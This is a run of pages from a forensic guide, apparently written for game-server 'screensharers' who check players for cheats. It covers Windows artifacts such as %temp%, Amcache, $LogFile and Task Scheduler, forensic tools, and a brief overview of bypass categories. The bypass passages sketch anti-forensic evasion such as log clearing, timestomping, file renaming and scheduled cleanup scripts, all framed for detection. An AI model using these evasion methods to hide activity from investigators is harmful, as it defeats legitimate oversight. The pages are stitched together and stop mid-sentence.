[](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/temporary-files-temp#stored-artifacts-and-forensic-value) Stored Artifacts and Forensic Value While the contents of the `%temp%` folder are diverse, several specific types of artifacts are of high forensic value, particularly in the context of cheat detection. * **Extracted Archives:** When a user runs an executable directly from within a compressed archive (like a `.zip`, `.rar`, or `.7z` file) without fully extracting it first, the archiving tool (e.g., WinRAR, 7-Zip) often temporarily extracts the necessary files to a newly created subdirectory within `%temp%`. These temporary folders may have names like `Rar$EXa0.123` or `7zOADF8.tmp`. Examining the contents and **modification timestamps** of these temporary folders can reveal recently executed programs that were run from archives. * **JnativeHook Libraries:** Certain Java-based applications, particularly some autoclickers and macro tools, utilize a third-party library called **JnativeHook** to interact with global keyboard and mouse inputs. When these applications are executed, they often drop a native library file (a DLL) into the `%temp%` directory. This file typically follows the naming pattern `JnativeHook-xxxxxxxx.dll`. The **creation timestamp** of this DLL file directly corresponds to the time the parent Java application was executed. * **Application Logs and Caches:** Many applications store temporary logs, configuration data, or cached files in this directory. Analyzing these can provide context about the application's recent activity or settings. * **Malware Dropper Remnants:** Malware or cheat loaders sometimes use the `%temp%` folder as a staging area to drop secondary payloads or scripts before executing them. The primary challenge in analyzing the `%temp%` folder is its volatility and the sheer volume of "noise" from legitimate applications. However, its contents are directly attributable to the user, and the timestamps of files within it can provide high-precision evidence of recent activity. * * * #### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/temporary-files-temp#reflection-points-ss-contest) Reflection points (SS Contest) For a ScreenSharer, the `%temp%` folder is a high-priority location for finding evidence of recently used tools, especially those that don't install themselves permanently. * **The JnativeHook "Smoking Gun":** The presence of a `JnativeHook-xxxxxxxx.dll` file is one of the most well-known and direct indicators of a Java-based autoclicker. An SSer can sort the `%temp%` folder by date and immediately spot this file. Its creation time provides the exact moment the cheat was launched. Even if the file is deleted, the deletion event can be found in the USN Journal. * **Unmasking Cheats Run from ZIPs:** This is a very common scenario. A player downloads a cheat in a `.zip` file and, to avoid leaving it on their desktop, runs it directly from the archive. An SSer can find the temporary extraction folder in `%temp%`, which will contain the cheat executable itself. The folder's creation/modification time will pinpoint the time of execution. * **A First Look at Recent Activity:** Simply opening `%temp%` and sorting by "Date Modified" is one of the quickest ways to get a sense of what a player was doing right before the screenshare. Newly created folders or suspicious file types (`.exe`, `.dll`, `.jar`) that appear at the top of the list are immediate targets for investigation. * **Finding Dropped Files:** If a cheat loader was executed, it might have dropped its payload (the actual cheat) into `%temp%`. Finding an unsigned executable with a very recent creation time in this folder is highly suspicious. [PreviousPowerShell Command History](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/powershell-command-history) [NextSystem Configuration and Persistence](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence) Last updated 9 months ago * [Purpose and Function](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/temporary-files-temp#purpose-and-function) * [Location and Structure](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/temporary-files-temp#location-and-structure) * [Stored Artifacts and Forensic Value](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/temporary-files-temp#stored-artifacts-and-forensic-value) --- # process-parser | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/process-parser.md) . **Description:** A tool focused on parsing and analyzing information related to system processes, likely examining running processes or potentially historical process data from artifacts. **Usage:** Can be employed to examine details about running or historical process data, potentially useful for identifying suspicious processes or analyzing process relationships. (Further details might be available in the tool's documentation/README). **Link:** `https://github.com/spokwn/process-parser/releases/tag/v0.5.4` [PreviousActivitiesCache execution](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/activitiescache-execution) [NextSpokwn Powershell Scripts](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/spokwn-powershell-scripts) Last updated 1 year ago --- # Introduction to Bypass Categories | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/introduction-to-bypass-categories.md) . Bypass methodologies can generally be categorized based on their approach and target: * **Generic Methods:** These are broad techniques often applicable regardless of the specific cheat being used. They focus on obscuring general system activity, hindering the ScreenSharer's ability to find _any_ unauthorized software, manipulating common artifacts, or interfering with the screensharing process itself (e.g., clearing logs, disabling services, manipulating timestamps). * **Specific Methods:** These techniques are often tailored to hide particular types of cheats (e.g., specific methods for hiding `.jar` mods vs. `.dll` injectors) or exploit known blind spots in common screensharing tools or procedures. They might involve targeted artifact manipulation or specific execution vectors designed to avoid logging. Often, bypassers will layer multiple techniques from both categories to maximize their chances of evasion. [PreviousCommon Bypass Techniques in ScreenSharing](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing) [NextConcealment and Obfuscation](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/concealment-and-obfuscation) Last updated 1 year ago --- # Amcache / Syscache | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/amcache-syscache.md) . [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/amcache-syscache#amcache-syscache-.hve) Amcache / Syscache (.hve) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/amcache-syscache#purpose-and-function) Purpose and Function The **Amcache.hve** file is a registry hive that serves as a component of the Windows Application Compatibility framework. Its primary function is to store metadata about applications that have been recently run on the system. This information helps Windows manage compatibility settings and track program installations. The **Syscache.hve** is its functional predecessor, found on older systems like Windows 7. From a DFIR perspective, Amcache is a forensic goldmine. It provides a persistent, historical record of program executions that often survives uninstallation and basic artifact cleaning. It is particularly valuable for identifying malicious software by its intrinsic properties, such as its file hash, rather than just its filename. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/amcache-syscache#location-and-structure) Location and Structure Amcache.hve is a standalone registry hive file, not part of the main `SYSTEM` or `SOFTWARE` hives. It is typically locked by the system when Windows is running, often requiring specialized tools or offline analysis to parse. * **Location (Windows 8/10/11):** `C:\Windows\AppCompat\Programs\Amcache.hve` * **Location (Syscache on Windows 7):** Often found within System Volume Information, such as `C:\Windows\System32\config\RegBack\` or live in `C:\Windows\appcompat\Programs\`. The `Amcache.hve` hive contains several keys, but the most forensically relevant data is typically found under a path similar to: `Root\File\{Volume-GUID}\{File-Reference-Number}` Each entry under this structure corresponds to a unique executable file that has been tracked by the system and contains a rich set of metadata values. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/amcache-syscache#stored-metadata) Stored Metadata An Amcache entry provides a detailed fingerprint of an executed program, far beyond just its name. Key metadata includes: * **Full Path:** The complete file path of the executable at the time it was first tracked. * **File Size:** The size of the executable file in bytes. * **SHA1 Hash:** A cryptographic hash of the executable's contents. This is arguably the **most critical piece of metadata**, as it allows for the definitive identification of a file regardless of its name or location. * **Timestamps:** * **First Execution Time:** Often derived from the creation date of a corresponding link file or another system trigger, this timestamp indicates when the program was first introduced to the system. * **Last Modified Timestamp:** The file's last modification time as recorded in its MFT entry. * **Linker Timestamp:** The compilation timestamp embedded within the PE header of the executable. * **Binary Type:** Information about the executable's architecture (e.g., PE32, PE64). * **Product and Version Information:** Details extracted from the file's version resource block, such as Product Name, Company Name, and File Version. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/amcache-syscache#forensic-value) Forensic Value Amcache is an exceptionally robust artifact for proving that a program once existed and was executed on a system, even if other traces have been removed. * **Persistence:** Amcache entries often persist long after a program has been uninstalled or its files have been deleted from the live filesystem. This provides a historical record that can defeat simple cleanup attempts. * **Identification via Hash:** The presence of the SHA1 hash is its greatest strength. It allows an analyst to identify a known malicious executable (by checking the hash against threat intelligence databases like VirusTotal) even if the user renamed it to something innocuous (e.g., `notACheat.exe`). * **Timeline Correlation:** While its last execution timestamp is not always as reliable as Prefetch or BAM for pinpointing the _most recent_ activity, its "First Execution" and "Last Modified" timestamps are invaluable for establishing when a program was first introduced to the system and correlating it with other events. * **Detection of Tampering:** The Amcache is managed by system services. While it can be deleted, its absence on a system where it should exist, or evidence of recent modification or deletion, can be an indicator of anti-forensic activity. * * * #### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/amcache-syscache#reflection-points-ss-contest) Reflection points (SS Contest) For a ScreenSharer, Amcache is a powerful tool for finding the "ghosts" of cheats past and for definitively identifying disguised executables. * **The Ultimate ID Check (SHA1 Hash):** This is the key takeaway. If a player is running a suspicious file named `explorer.exe` from their desktop, an SSer can extract its Amcache entry and check the SHA1 hash on VirusTotal. If the hash matches a known cheat like Vape or Kurium, the case is closed, regardless of the filename. * **Defeating Renaming Bypasses:** Amcache is one of the best defenses against simple renaming bypasses. It proves that the file, identified by its unique hash, was present on the system. * **Historical Evidence:** If a player claims they "never used that cheat," but an Amcache entry for it exists, it provides strong historical evidence to the contrary. While it might not prove "in instance" usage, it can be crucial for ban evasion checks or for building a stronger case when combined with other, more recent artifacts. * **Corroboration:** Finding a program in Amcache corroborates findings from other tools. For example, if a suspicious path is found in a System Informer memory dump, checking Amcache for that path or the file's hash can confirm its identity and execution history. [PreviousUserAssist](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/userassist) [NextRecentFileCache](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/recentfilecache) Last updated 9 months ago * [Amcache / Syscache (.hve)](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/amcache-syscache#amcache-syscache-.hve) * [Purpose and Function](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/amcache-syscache#purpose-and-function) * [Location and Structure](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/amcache-syscache#location-and-structure) * [Stored Metadata](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/amcache-syscache#stored-metadata) * [Forensic Value](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/amcache-syscache#forensic-value) --- # $LogFile | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/usdlogfile.md) . The **$LogFile** is a critical component of the NTFS file system's self-healing and journaling capabilities. Its primary function is to ensure the integrity of the file system by acting as a transactional log for all operations that modify the volume's structure and metadata. Before any change is permanently written to core NTFS structures like the Master File Table ($MFT), the intended operation is first recorded as a log entry in the `$LogFile`. This mechanism allows for rapid crash recovery. In the event of a system failure or unexpected shutdown, Windows can "replay" the transactions logged in the `$LogFile` to complete any unfinished operations or "roll back" any incomplete ones, ensuring the file system returns to a consistent and stable state without needing a full disk scan. From a DFIR perspective, the `$LogFile` offers an extremely granular, though often short-lived, record of metadata modifications, providing a low-level view of file system changes. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/usdlogfile#location-and-structure) Location and Structure Like the `$MFT` and `$UsnJrnl`, the `$LogFile` is a hidden NTFS metadata file located at the root of the volume. * **Location:** `C:\$LogFile` The `$LogFile` operates as a circular log, meaning once it reaches its predefined size, new entries overwrite the oldest ones. On an active system, the time window of data it contains can be very short—sometimes only minutes or hours. Its internal structure is complex and largely undocumented, consisting of log records that describe "redo" (how to re-apply a change) and "undo" (how to reverse a change) operations for file system transactions. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/usdlogfile#stored-metadata) Stored Metadata The `$LogFile` is highly specialized and focuses exclusively on changes to **metadata**, not the content of user files. It logs operations such as: * **MFT Record Modifications:** Any change to an MFT record, including updates to attributes. * **Timestamp Updates:** It logs the transactions that modify the MACB timestamps within an MFT record's `$STANDARD_INFORMATION` ($SI) and `$FILE_NAME` ($FN) attributes. * **Attribute Manipulation:** Records changes to file attributes like Read-Only, Hidden, or System flags. * **Index Updates:** Logs modifications to directory indexes (the `$INDX` attributes). * **File/Directory Creation and Deletion:** It logs the metadata-level operations associated with creating and deleting files and directories. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/usdlogfile#forensic-value) Forensic Value Despite its volatility and the difficulty in parsing it, the `$LogFile` can provide unique and powerful evidence, particularly for detecting sophisticated anti-forensic techniques. * **Definitive Proof of Timestomping:** This is its most celebrated forensic use case. Because a timestamp modification is a transaction, the `$LogFile` can sometimes contain log records that show **both the original timestamp and the new, fraudulent timestamp** within the same transaction entry. This provides irrefutable proof of timestomping that is difficult to find elsewhere. * **Granular Timeline Reconstruction:** The `$LogFile` records events at a much lower level than the `$UsnJrnl`. It can reveal the precise sequence of rapid file operations (create, rename, delete) that might appear as a single, less-detailed event in other logs. * **Recovering Transient Metadata:** Because it logs intended changes, it can sometimes hold information about a file's state (e.g., its name or attributes) that existed for only a very brief period before being changed again. Analysis of the `$LogFile` is considered an advanced forensic technique. It requires specialized tools such as the command-line `LogFileParser` or advanced modules within comprehensive forensic suites (like those from Magnet Forensics or Exterro). Its complex, binary format makes manual analysis nearly impossible. * * * #### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/usdlogfile#reflection-points-ss-contest) Reflection points (SS Contest) For a ScreenSharer, analyzing the `$LogFile` is typically beyond the scope of a standard check due to its complexity. However, understanding its purpose is valuable, and using an automated parser can provide a "silver bullet" in specific scenarios. [PreviousUSN Journal ($UsnJrnl)](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/usn-journal-usdusnjrnl) [NextRecycle Bin ($Recycle.bin)](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/recycle-bin-usdrecycle.bin) Last updated 9 months ago * [Location and Structure](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/usdlogfile#location-and-structure) * [Stored Metadata](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/usdlogfile#stored-metadata) * [Forensic Value](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/usdlogfile#forensic-value) --- # JournalTrace | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/journaltrace.md) . **Description:** A graphical user interface (GUI) tool developed by Spokwn for parsing and viewing NTFS USN Journal entries (`$UsnJrnl:$J` data stream). It provides specific event names and advanced filtering capabilities, offering a more detailed analysis compared to some simpler viewers. **Features:** * Parses and displays USN Journal entries from selected NTFS volumes. * Clearly displays event reason codes (e.g., `FileDelete`, `Rename_New_Name`, `BasicInfoChange`, `Data_Overwrite`). * Supports advanced filtering within columns using specific operators: * Inclusions (`&&`): Match multiple conditions (e.g., `name:rundll32&&.pf`). * Exclusions (`!!`): Exclude specific values (e.g., `name:.exe!!svchost`). * OR Conditions (`||`): Match one of several conditions (e.g., `name:.exe||.dll`). * Multi-Column Filters (`;`): Filter across columns simultaneously (e.g., `name:.pf;reason:delete`). Column name prefix is optional if using operators. * Utilizes an `OpenByFileId` wrapper to resolve file identifiers that might otherwise be unreadable. * Based on StCroixSkippers' C# wrapper for the UsnJournal Win32 API. **Usage:** Essential for detailed analysis of file system activity history. Its advanced filtering allows precise tracking of file creations, deletions, renames, attribute modifications (like Read-Only or Timestomping via BasicInfoChange), and data changes (like Hex Editing via DataOverwrite), crucial for reconstructing activity and detecting bypass attempts. **License:** GNU General Public License v3.0. **Link:** `https://github.com/spokwn/JournalTrace/releases` [PreviousReplaceparser](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/replaceparser) [Nextpcasvc executed](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/pcasvc-executed) Last updated 1 year ago --- # System Configuration and Persistence | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence.md) . A sophisticated adversary or cheater often aims for more than a single, successful execution. They seek to establish a persistent foothold on the system, ensuring their tools run automatically, survive reboots, and operate with minimal user interaction. This chapter focuses on the forensic artifacts that reveal how a system is configured and what mechanisms are in place for **persistence**. Analyzing these artifacts allows an investigation to move beyond tracking singular events and instead uncover long-term, automated, or hidden activities. We will explore the core configuration databases of Windows and the logs that track fundamental system events. This is where we answer questions like: **"What programs are set to launch automatically at startup?", "Have critical system services been tampered with?", and "Was a cheat executed from a now-disconnected USB drive?"** This chapter will cover: * **The Windows Registry:** The central nervous system of the operating system, which not only stores configuration settings but also hosts critical persistence locations like the `Run` and `RunOnce` keys. * **Task Scheduler Artifacts:** The files and registry keys that define scheduled tasks, a powerful and commonly abused mechanism for automating the execution of malicious scripts and loaders. * **USB Device History:** The trail of evidence left behind when external storage devices are connected to the system, crucial for investigating cheats that are stored on and run from removable media. * **Windows Event Logs:** The comprehensive, time-stamped diaries of the operating system. They are the ultimate source for detecting system-level tampering, such as service manipulation, evidence clearing, and illicit user account activity. Understanding these artifacts is essential for detecting the most insidious types of cheats—those that are designed to hide in plain sight by integrating themselves into the normal startup and operation of the Windows OS. They provide the evidence needed to expose not just a one-time action, but a deliberate and persistent strategy of deception. [PreviousTemporary Files (%temp%)](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/temporary-files-temp) [NextRegistry](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/registry) Last updated 9 months ago --- # Task Scheduler Artifact | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/task-scheduler-artifact.md) . ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/task-scheduler-artifact#purpose-and-function) Purpose and Function The **Windows Task Scheduler** is a core operating system component that provides the ability to automate tasks by running programs or scripts at specified times or in response to specific events. Legitimate uses include running system maintenance scripts, checking for software updates, and creating user-defined backups. From a DFIR perspective, the Task Scheduler is one of the most powerful and frequently abused persistence mechanisms available on Windows. Attackers, malware, and cheaters leverage it to ensure their code is executed automatically, often with elevated privileges and under the radar of more basic monitoring tools. It allows a payload to be launched in response to a wide variety of triggers, such as system startup, user logon, or even specific system events. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/task-scheduler-artifact#location-and-structure) Location and Structure The artifacts associated with scheduled tasks are primarily stored in two locations: the file system and the Registry. 1. **File System (Task Definition Files):** * **Location:** `C:\Windows\System32\Tasks` (and its subdirectories) * **Structure:** Each scheduled task is defined by an **XML file** stored in this directory tree. The folder structure within `\Tasks` often mirrors the organization seen in the Task Scheduler GUI. This XML file contains all the critical information about the task. 2. **Registry (Task Cache):** * **Location:** `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache` * **Structure:** The Registry maintains a cache of task information for performance. The `Tree` subkey mirrors the folder structure from the file system, and the `Tasks` subkey contains metadata for each task, including a reference to its definition file and security descriptors. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/task-scheduler-artifact#stored-metadata) Stored Metadata The XML task definition file is the most forensically rich artifact. It contains a complete specification of the task's behavior: * **Triggers:** Defines _what_ causes the task to run. This can include: * A specific time (`CalendarTrigger`) * System startup (`BootTrigger`) * User logon (`LogonTrigger`) * System idle (`IdleTrigger`) * A specific event from the Windows Event Log (`EventTrigger`) * **Actions:** Defines _what_ the task does. The most common action is `Exec`, which runs a program or script. This section contains: * `****`**:** The full path to the executable to be run (e.g., `powershell.exe`, `cmd.exe`, a cheat loader). * `****`**:** The command-line arguments to be passed to the executable. This is often where malicious payloads or scripts are specified. * **Settings:** Defines the conditions and behavior of the task, such as whether it can be run on demand, what to do if it fails, and how long it can run. * **Principal:** Defines the security context under which the task will run (e.g., the user account, including the powerful `SYSTEM` account). * **Author and Timestamps:** The XML file contains the author of the task and its creation timestamp. The file system timestamps ("Date Created" and "Date Modified") of the XML file itself are also critical indicators. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/task-scheduler-artifact#forensic-value) Forensic Value Analyzing scheduled tasks is essential for identifying persistence mechanisms and automated malicious activity. * **Discovering Persistence:** It is a primary method for finding malware, loaders, or scripts that are configured to survive a reboot. A task set to run `powershell.exe` with a suspicious, encoded argument at every user logon is a classic persistence technique. * **Reconstructing Attacker Actions:** The `` and `` tags provide the exact command line used, revealing the attacker's tools and methods. * **Identifying Privilege Escalation:** Tasks configured to run as `SYSTEM` can be a vector for privilege escalation, allowing code to run with the highest level of access on the local machine. * **Detecting Tampering:** The creation and modification timestamps of the XML files in `C:\Windows\System32\Tasks` are high-value indicators. Finding a task file that was created or modified shortly before an investigation is highly suspicious. The Windows Event Log for the Task Scheduler (`Microsoft-Windows-TaskScheduler/Operational`) also logs the creation (Event ID 106), modification (ID 140), and deletion (ID 141) of tasks. * * * #### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/task-scheduler-artifact#reflection-points-ss-contest) Reflection points (SS Contest) For a ScreenSharer, the Task Scheduler is a critical location to check for hidden, auto-starting cheats and bypass scripts. * **The Auto-Starting Cheat:** A player might configure a scheduled task to launch their cheat loader or injector every time they log into Windows. This means the cheat could be running in the background before they even start Minecraft. An SSer should check for recently created tasks, especially those triggered by logon or startup. * **Bypassing Execution Artifacts:** Running a program via Task Scheduler can sometimes generate less noise in certain execution artifacts (like UserAssist) compared to a manual GUI launch. The task itself becomes the primary evidence of execution. * **Finding the "Cleanup" Script:** A savvy cheater might create a scheduled task that runs a cleanup script (e.g., a PowerShell script to delete Prefetch and Journal files) triggered by a specific event, like the launch of a screensharing tool (`AnyDesk.exe`). Finding such a task is direct evidence of a planned bypass attempt. * **XML Files as the Smoking Gun:** An SSer can quickly use Search Everything to view the contents of `C:\Windows\System32\Tasks`, sorted by "Date Modified." Finding a task file that was modified minutes before the SS, and then opening the XML to find it's set to run an executable from the Downloads folder, is often enough to conclude the investigation. [PreviousRegistry](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/registry) [Nextusb-drive](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/usb-drive) Last updated 9 months ago * [Purpose and Function](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/task-scheduler-artifact#purpose-and-function) * [Location and Structure](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/task-scheduler-artifact#location-and-structure) * [Stored Metadata](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/task-scheduler-artifact#stored-metadata) * [Forensic Value](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/task-scheduler-artifact#forensic-value) --- # RedLotus Tool Downloader | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-tool-downloader.md) . To standardize operations and ensure every ScreenSharer has immediate access to the latest versions of approved software, RedLotus has developed a centralized solution: the **RedLotus Tool Downloader**. This utility acts as a "Central Hub," eliminating the need to manually search for individual tools or rely on potentially outdated links. It ensures speed, security, and consistency across all checks. #### [](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-tool-downloader#presentation-and-showcase) 📺 Presentation & Showcase [![Watch the video](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2Fimg.youtube.com%2Fvi%2FRZC7H5V1plo%2Fmaxresdefault.jpg&width=300&dpr=3&quality=100&sign=56c02bfd&sv=2)](https://youtu.be/RZC7H5V1plo) _Click the image to watch the tool showcase_ * * * #### [](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-tool-downloader#interface-and-key-features) ⚙️ Interface & Key Features The tool is designed for efficiency, allowing staff to prepare the environment in seconds. It is divided into three main sections: **1\. Hub Tab (Manual Selection)** This section allows for granular control. You can manually select specific categories of tools to download based on the needs of the specific check: * **Spok's Tools:** Specialized parsers for BAM, Prefetch, and Journal. * **Nirsoft Suite:** Classic utilities like WinPrefetchView, LastActivityView, and USBDeview. * **Zimmerman Tools:** Advanced forensic tools like PECmd, JLECmd, and Registry Explorer. * **Other Tools:** Essentials like System Informer, Everything, and FTK Imager. **2\. Presets Tab (One-Click Setup)** The central tab offers predefined profiles to speed up the workflow. These presets utilize a **unified progress bar** for a seamless experience: * **Download All:** Retrieves the complete arsenal of tools from every category. * **Quick SS:** Downloads only the essential tools required for a standard, fast check. * **Full SS:** A comprehensive suite for deep-dive investigations. **3\. Status Tab** A real-time monitoring panel that displays the detailed progress of downloads initiated from the Hub Tab, ensuring transparency on which files are being fetched. * * * #### [](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-tool-downloader#technical-architecture) 🚀 Technical Architecture The downloader is not just a simple script; it has been optimized for performance and reliability in live SS environments. * **Multithreading (Parallel Downloads):** Unlike sequential scripts, this tool downloads up to **4 files simultaneously**. This drastically reduces the total preparation time, which is crucial when the player is waiting. * **Connection Reuse (Keep-Alive):** The tool keeps the server connection open between requests, avoiding the latency overhead of re-establishing connections for every single small file. * **Optimized Buffering:** It utilizes a **64KB buffer** (significantly larger than the standard 8KB), reducing CPU usage and disk I/O operations for a smoother experience on lower-end PCs. **🛡️ Dynamic & Future-Proof** Crucially, the download links are **not hard-coded** into the executable. The tool fetches the list of URLs from a secure online repository at runtime. * **Benefit:** If a tool developer updates their software or a link breaks, RedLotus can update the central list instantly. The downloader on your PC will automatically fetch the new version without needing an update itself. * * * #### [](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-tool-downloader#integrated-resources) 🔗 Integrated Resources The tool includes a footer with quick access buttons to streamline the workflow: * **Open Folder:** Instantly opens the directory where tools are saved (default: `C:\SS1`). * **Discord:** Direct invite to the official RedLotus community for support. * **Guides:** Opens this official documentation. **Link:** [`https://github.com/ItzIceHere/RedLotus-Tool-Downloader/releases/download/RL/RedLotus.Downloader.exe`](https://github.com/ItzIceHere/RedLotus-Tool-Downloader/releases/download/RL/RedLotus.Downloader.exe) **Transparency with Players** Having quick access to the Guide directly from the tool is designed to improve communication. If a player questions a specific script or command, you can instantly pull up the relevant documentation to explain the procedure, fostering trust and professionalism. [PreviousRedLotus Tools](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools) [NextRedLotus Task Sentinel](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-task-sentinel) Last updated 7 months ago --- # Spok's Tools | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools.md) . Note: For more up to date informations about new tools and features refer to Spok's Github page. [PreviousRedLotus Alt Checker](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-alt-checker) [NextPaths Parser](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/paths-parser) Last updated 1 year ago --- # ActivitiesCache execution | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/activitiescache-execution.md) . **Description:** Parses the Windows Activities Cache database (`ActivitiesCache.db`) to retrieve user activity history, applying signature checks and generic detections. **Features:** * Parses executed files and potentially other activities from `ActivitiesCache.db` using sqlite3. * Performs digital signature checks on identified executables. * Applies several generic YARA rules to flag potentially suspicious files based on common cheat characteristics. * Can operate in normal mode (displays results in a `.txt` file) or CLI mode (command-line interface with output options). **Usage:** Helps in reviewing recent user activity history, including application usage and file interactions logged by the Windows Timeline feature, providing another layer of execution evidence when the feature is enabled and active. **Link:** `https://github.com/spokwn/ActivitiesCache-execution` [Previouspcasvc executed](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/pcasvc-executed) [Nextprocess-parser](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/process-parser) Last updated 1 year ago --- # Prefetch Parser | RedLotus Guide For the complete documentation index, see 